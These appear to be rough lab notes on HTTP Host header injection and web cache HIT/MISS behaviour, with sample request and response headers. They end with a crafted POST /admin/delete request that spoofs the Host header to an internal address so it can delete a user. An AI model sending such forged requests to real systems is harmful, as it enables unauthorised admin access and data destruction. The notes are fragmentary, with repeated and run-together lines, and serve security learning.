HTTP Host Header Injection
X-Cache: HIT The response came from the cache. The proxy had a stored copy and returned it directly · it did not contact the origin server. This is faster because the proxy…
change some headers like#
Referer: Origin: Host:
Change the host header with localhost#
X-Cache header response#
normally we have two steps to recieve the response : backend or cache When you request a page, the response can come from one of two places: Cache (a stored copy) · fast, shared copy kept by a proxy/CDN. Backend (the origin server) · the real website server.
Some proxies add an X-Cache header to tell you which happened:
X-Cache: HIT The response came from the cache. The proxy had a stored copy and returned it directly · it did not contact the origin server. This is faster because the proxy served the saved response.
X-Cache: MISS The proxy did not have a stored copy, so it went to the origin server, got the response, and usually stores that response in the cache for later requests.
resume That’s it · HIT = served from cache, MISS = fetched from origin.
Normally, if I do this:
GET / HTTP/1 The response headers are:
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 0
X-Cache: miss
Connection: closethe second response is
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 0
X-Cache: hit
Connection: closeBut when I add a parameter like this:
GET /?test=124 HTTP/1.the response is
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 0
X-Cache: miss
Connection: closeIf I change the value of this parameter, the response header X-Cache is also MISS.
POST /admin/delete HTTP/1.1 Host: 192.168.0.1 Cookie: _lab=YOUR-LAB-COOKIE; session=YOUR-SESSION-COOKIE Content-Type: x-www-form-urlencoded Content-Length: CORRECT
csrf=YnolCbjOgBnDTeKahdaiRZur3Ku4U2P3&username=carlos